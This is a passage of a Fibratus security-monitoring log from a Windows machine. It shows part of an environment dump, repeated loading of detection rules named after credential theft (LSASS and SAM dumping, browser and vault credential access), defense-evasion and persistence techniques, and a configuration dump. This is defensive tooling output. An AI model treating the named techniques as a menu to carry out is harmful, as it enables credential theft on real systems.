Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8b321ca8-4310-409d-9ff1-20a28ce4fd4f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-22T13:26:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:26:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:26:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:28:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:28:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:28:40+01:00 level=info msg=bootstrapping with pid 16600. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:28:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-dns=>false buffer-size=>512 flush-interval=>1s stack-enrichment=>true min-buffers=>16 enable-mem=>false enable-thread=>true enable-handle=>false enable-registry=>true enable-threadpool=>false enable-image=>true enable-vamap=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 level=>info formatter=>text] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false serializer=>json enable-gzip=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ enabled=>false flush-period=>1s sniff=>false template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false healthcheck-interval=>10s timeout=>5s gzip-compression=>false index-name=>fibratus healthcheck=>true] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false exchange-type=>topic durable=>false exchange=>fibratus enabled=>false timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false fastscan=>true excluded-procs=>[] skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:28:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:28:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:29:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:29:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:29:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:29:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:29:37+01:00 level=info msg=loading rule from 